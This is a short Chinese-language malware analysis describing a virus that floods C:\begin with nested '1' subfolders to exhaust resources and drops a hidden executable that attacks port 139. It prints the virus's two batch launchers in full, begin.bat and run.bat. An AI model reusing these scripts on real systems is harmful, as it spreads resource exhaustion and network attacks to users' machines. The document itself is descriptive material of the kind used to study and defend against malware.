病毒行为：
这是一个疯狂创建子目录的病毒。它会在C盘下面创建文件夹begin，并在该目录中生成恶意BAT文件。随后就在该文件夹下疯狂创建子文件夹，子文件夹名字为"1",在某些子文件夹下会生成恶意BAT文件。它一直创建子文件直到不能在创建为止，消耗用户系统资源。在最深一层的目录里面生成端口炸弹病毒程序。

1.在C:\begin生成文件begin.bat，内容为：
rem don't amaize why i am calling a !.bat file... or you look the rem code of the !.bat yourself... actually it's a too long path and rem xp doesn't support........
echo off
:br
cd 1
if exist run.bat goto bgn
) else (
goto :br

:bgn
start /low run.bat
goto end
:end
exit

2.在C:\begin的某个子文件夹中生成文件run.bat和只读、隐藏文件$!.sys.dll，run.bat文件内容为：
echo off
:br
cd 1
if exist $!.sys.dll goto bgn
) else (
goto :br

:bgn
$!.sys.dll
goto end
:end
exit

$!.sys.dll其实是可执行程序，它是该病毒释放的端口炸弹病毒程序，默认是攻击139端口。